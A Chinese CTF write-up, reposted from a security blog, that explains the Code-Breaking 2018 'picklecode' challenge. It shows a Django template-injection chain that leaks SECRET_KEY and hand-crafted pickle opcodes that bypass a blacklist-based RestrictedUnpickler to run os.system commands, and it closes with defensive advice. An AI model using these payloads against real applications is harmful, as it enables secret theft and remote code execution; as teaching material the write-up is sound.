内容简介:这是发表在跳跳糖上的文章这是一篇Code-Breaking 2018鸽了半年的Writeup,讲一讲Django模板引擎沙箱和反序列化时的沙箱,和如何手搓Python picklecode绕过反序列化沙箱。源码与环境在这里:
这是发表在跳跳糖上的文章 https://www.tttang.com/archive/1294/ ,如需转载,请联系跳跳糖。
这是一篇Code-Breaking 2018鸽了半年的Writeup,讲一讲Django模板引擎沙箱和反序列化时的沙箱,和如何手搓Python picklecode绕过反序列化沙箱。
源码与环境在这里: https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
首先下载源码,可以发现目标是一个Django项目。
通常审计Django项目,我会先查看Django的配置文件。目标配置文件 code/settings.py
中有如下几个值得注意的地方:
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
因为和默认的Django配置文件相比,这两处可以说是很少在实际项目中看到的。
SESSION_ENGINE
指的是Django使用将用户认证信息存储在哪里, SESSION_SERIALIZER
指的是Django用什么方式存储用户认证信息。
一个是存储位置,一个是存储方式。可以简单理解一下,用户的session对象先由 SESSION_SERIALIZER
指定的方式转换成一个字符串,再由 SESSION_ENGINE
指定的方式存储到某个地方。
默认Django项目中,这两个值分别是: django.contrib.sessions.backends.db
和 django.contrib.sessions.serializers.JSONSerializer
。看名字就知道,默认Django的session是使用json的形式,存储在数据库里。
那么,这里用的两个不是很常见的配置,其实意思就是:该目标的session是用pickle的形式,存储在Cookie中。
目标显而易见了,pickle反序列化是可以执行任意命令的,我们要想办法控制这个值,进而获取目标系统权限。
再进一步思考,我们的目的就是控制session,而session engine是 django.contrib.sessions.backends.signed_cookies
,也就是说这个session是签名(signed)后存储在Cookie中的,我们唯一不知道的就是签名时使用的密钥。
阅读源码 我们发现,用户的用户名被拼接进模板中:
@login_required def index(request): django_engine = engines['django'] template = django_engine.from_string('My name is ' + request.user.username) return HttpResponse(template.render(None, request))
而用户名是注册时用户传入的,那么这里就存在一处模板注入漏洞。
Django的模板引擎沙箱其实一直是很安全的,也就是说即使你让用户控制了模板或模板的一部分,造成模板注入漏洞,也无法通过这个漏洞来执行代码。
但今天我们的目标只是获取Django项目的密钥,这一点还是可以做到的。
我们随便打开一个模板,然后在其中带有模板标签的地方下个断点,如 registration/login.html
中的 {% csrf_token %}
:
可见,上下文中有很多变量。这些变量从哪里来的呢?有一部分是加载模板的时候传入的,还有一部分是Django自带的,你想知道Django自带哪些变量,可以看看配置中的templates项:
TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ]
这里的 context_processors
就代表会向模板中注入的一些上下文。通常来说, request
、 user
、和 perms
都是默认存在的,但显然, settings
是不存在的,我们无法直接在模板中读取settings中的信息,包括密钥。
我在 Python 格式化字符串漏洞(Django为例) 这篇文章里曾说过,可以通过request变量的属性,一步步地读取到SECRET_KEY。
但是和格式化字符串漏洞不同,Django的模板引擎有一定限制,比如我们无法读取用下划线开头的属性,所以,前文里说到的 {user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
这个方法是不能使用的。
但利用我刚讲的调试的方法,很容易地可以找到一些更好用的利用链,如:
其位置在 request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY
。
所以,我们注册一个名为 {{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}
的用户,即可获取签名的密钥:
这就是第一个沙箱,虽然我们没有完全绕过,但实际上也从中获取到了一些敏感信息。
深入研究Python反序列化
接下来就要看看 SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
了,虽然从名字上我们看出这里使用了pickle作为session的序列化方式,但打开 core.serializer.PickleSerializer
类就发现,实际上其中暗藏玄机:
import pickle import io import builtins __all__ = ('PickleSerializer', ) class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) class PickleSerializer(): def dumps(self, obj): return pickle.dumps(obj) def loads(self, data): try: if isinstance(data, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(data) return RestrictedUnpickler(file, encoding='ASCII', errors='strict').load() except Exception as e: return {}
对Python熟悉的同学应该很清楚,通常我们反序列化只需要执行 pickle.loads
即可,但这里使用了 RestrictedUnpickler
这个类作为序列化时使用的过程类。
其实这就是 官方文档 给出的一个优化Python反序列化的方式,我们可以给反序列化设置黑白名单,进而限制这个功能被滥用:
可见,我们只需要实现 pickle.Unpickler
这个类的 find_class
方法,并在其中进行判断即可。
回到我们的目标代码,可见,我的 find_class
中限制了反序列化的对象必须是 builtins
模块中的对象,但不能是 {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
。
那么,这意味着什么呢?
我们举个最简单的例子,通常来说生成序列化字符串,我们可以写这样一个类:
class exp(object): def __reduce__(self): s = r"""touch /tmp/success""" return (os.system, (s,))
这样生成出的序列化字符串是:
b'cposix\nsystem\np0\n(Vtouch /tmp/success\np1\ntp2\nRp3\n.'
我们尝试执行反序列化:
可见,这里就已经报错了。我们执行的是 os.system
,实际上在*nix系统下就是 posix.system
,而 find_class
中限制module必须是 builtins
,自然就被拦截了。
这就是反序列化沙盒,也是官方推荐用户使用的一种方式。
那么,这里究竟该如何绕过这个沙盒呢?
首先明确一点,我们只能使用 builtins.*
方法,所以 subprocess
、 os
这种模块我们不需要去关注。
builtins
模块在Python中实际上就是不需要import就能使用的模块,比如常见的 open
、 __import__
、 eval
、 input
这种内置函数,都属于 builtins
模块。
但这些函数已经被禁用了:
__import__
不过经验丰富的Python小能手很容易就能想到, getattr
这个万金油函数没有在黑名单中。
有了这个函数,我们就可以从上下文已有的变量内部,去寻找一些危险属性。比如,虽然 find_class
中不允许直接使用危险函数,但这个文件开头就引入了三个看着都挺危险的模块:
我们可以通过 builtins.getattr('builtins', 'eval')
来获取eval函数,然后再执行即可。此时, find_class
获得的module是 builtins
,name是 getattr
,在允许的范围中,不会被沙盒拦截。
这就等于绕过了沙盒。
如何用pickle code来写代码
如果真正做过这题的同学,就会提出一个疑问了:首先执行getattr获取eval函数,再执行eval函数,这实际上是两步,而我们常用 __reduce__
生成的序列化字符串,只能执行一个函数,这就产生矛盾了。
那么,我们如何抛弃 __reduce__
,手搓pickle代码呢?
先来了解一下pickle究竟是个什么东西吧。pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。
和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:
- stack 栈
- memo 一个列表,可以存储信息
我们还是以最常用的那个payload来看起,首先将payload b'cposix\nsystem\np0\n(Vtouch /tmp/success\np1\ntp2\nRp3\n.'
写进一个文件,然后使用如下命令对其进行分析:
python -m pickletools pickle
可见,其实输出的是一堆OPCODE:
protocol 0的OPCODE是一些可见字符,比如上图中的 c
、 p
、 (
等。
我们在Python源码中可以看到所有opcode:
上面例子中涉及的OPCODE我做下解释:
-
c
:引入模块和对象,模块名和对象名以换行符分割。(find_class
校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class
限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象) -
(
:压入一个标志到栈中,表示元组的开始位置 -
t
:从栈顶开始,找到最上面的一个(
,并将(
到t
中间的内容全部弹出,组成一个元组,再把这个元组压入栈中 -
R
:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上 -
p
:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引 -
V
、S
:向栈顶压入一个(unicode)字符串 -
.
:表示整个程序结束
知道了这些OPCODE,我们很容易就翻译出 __reduce__
生成的这段pickle代码是什么意思了:
0: c GLOBAL 'posix system' # 向栈顶压入`posix.system`这个可执行对象 14: p PUT 0 # 将这个对象存储到memo的第0个位置 17: ( MARK # 压入一个元组的开始标志 18: V UNICODE 'touch /tmp/success' # 压入一个字符串 38: p PUT 1 # 将这个字符串存储到memo的第1个位置 41: t TUPLE (MARK at 17) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中 42: p PUT 2 # 将这个元组存储到memo的第2个位置 45: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中 46: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置 49: . STOP # 结束整个程序
显然,这里的memo是没有起到任何作用的。所以,我们可以将这段代码进一步简化,去除存储memo的过程:
cposix system (Vtouch /tmp/success tR.
这一段代码仍然是可以执行命令的。当然,有了memo可以让编写程序变得更加方便,使用 g
即可将memo中的内容取回栈顶。
那么,我们来尝试编写绕过沙盒的pickle代码吧。
首先使用 c
,获取 getattr
这个可执行对象:
cbuiltins getattr
然后我们需要获取当前上下文,Python中使用 globals()
获取上下文,所以我们要获取 builtins.globals
:
cbuiltins globals
Python中globals是个字典,我们需要取字典中的某个值,所以还要获取 dict
这个对象:
cbuiltins dict
上述这几个步骤都比较简单,我们现在加强一点难度。现在执行 globals()
函数,获取完整上下文:
cbuiltins globals (tR
其实也很简单,栈顶元素是builtins.globals,我们只需要再压入一个空元组 (t
,然后使用 R
执行即可。
然后我们用 dict.get
来从globals的结果中拿到上下文里的 builtins对象
,并将这个对象放置在memo[1]:
cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1
到这里,我们已经获得了阶段性的胜利, builtins
对象已经被拿到了:
接下来,我们只需要再从这个没有限制的 builtins
对象中拿到eval等真正危险的函数即可:
... cbuiltins getattr (g1 S'eval' tR
g1就是刚才获取到的 builtins
,我继续使用getattr,获取到了 builtins.eval
。
再执行这个eval:
cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 cbuiltins getattr (g1 S'eval' tR(S'__import__("os").system("id")' tR.
成功绕过沙盒。
当然,编写pickle代码远不止这么简单,仍有几十个OPCODE我们没有用过,只不过我们现在需要的只是这部分罢了。
出这道题的原因,主要就是考一考大家对Python真正的认识。有些时候打CTF真的是为了学知识,出题也是如此,出题人需要用知识来难倒做题者,而不是用一些繁琐的操作或者没太大意义的脑洞来考做题者。
那么,作为一个开发,如何防御本文描述的这些安全隐患呢?
第一,尽量不要让用户接触到Django的模板,模板的内容通过渲染而不是拼接引入;第二,使用官方推荐的 find_class
方法的确可以避免反序列化攻击,但在编写这个函数的时候,最好使用白名单来限制反序列化引入的对象,才能做到不被绕过。
这道题目参考了如下paper:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。